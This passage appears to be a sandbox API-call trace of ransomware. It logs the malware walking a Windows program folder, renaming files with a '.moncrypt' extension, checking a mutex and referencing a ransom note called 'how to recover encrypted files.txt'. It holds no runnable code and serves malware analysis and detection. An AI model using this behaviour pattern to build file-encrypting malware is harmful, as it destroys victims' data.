WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png", cchWideChar=85, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 85 [0058.653] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.653] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Stacking\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.653] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.653] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.653] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.653] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.654] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0058.654] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.654] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.654] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.654] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.654] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.654] GlobalUnlock (hMem=0x440004) returned 0 [0058.654] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.654] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.654] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.654] GlobalUnlock (hMem=0x440004) returned 0 [0058.654] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.654] GlobalUnlock (hMem=0x44000c) returned 0 [0058.654] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.655] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png", cchWideChar=91, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 91 [0058.656] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Stacking\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.656] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.656] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.656] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.656] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.657] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.657] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0058.657] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.657] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.657] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.657] GlobalUnlock (hMem=0x44000c) returned 0 [0058.657] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.657] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.657] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.657] GlobalUnlock (hMem=0x44000c) returned 0 [0058.657] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.658] GlobalUnlock (hMem=0x440004) returned 0 [0058.658] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.658] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, 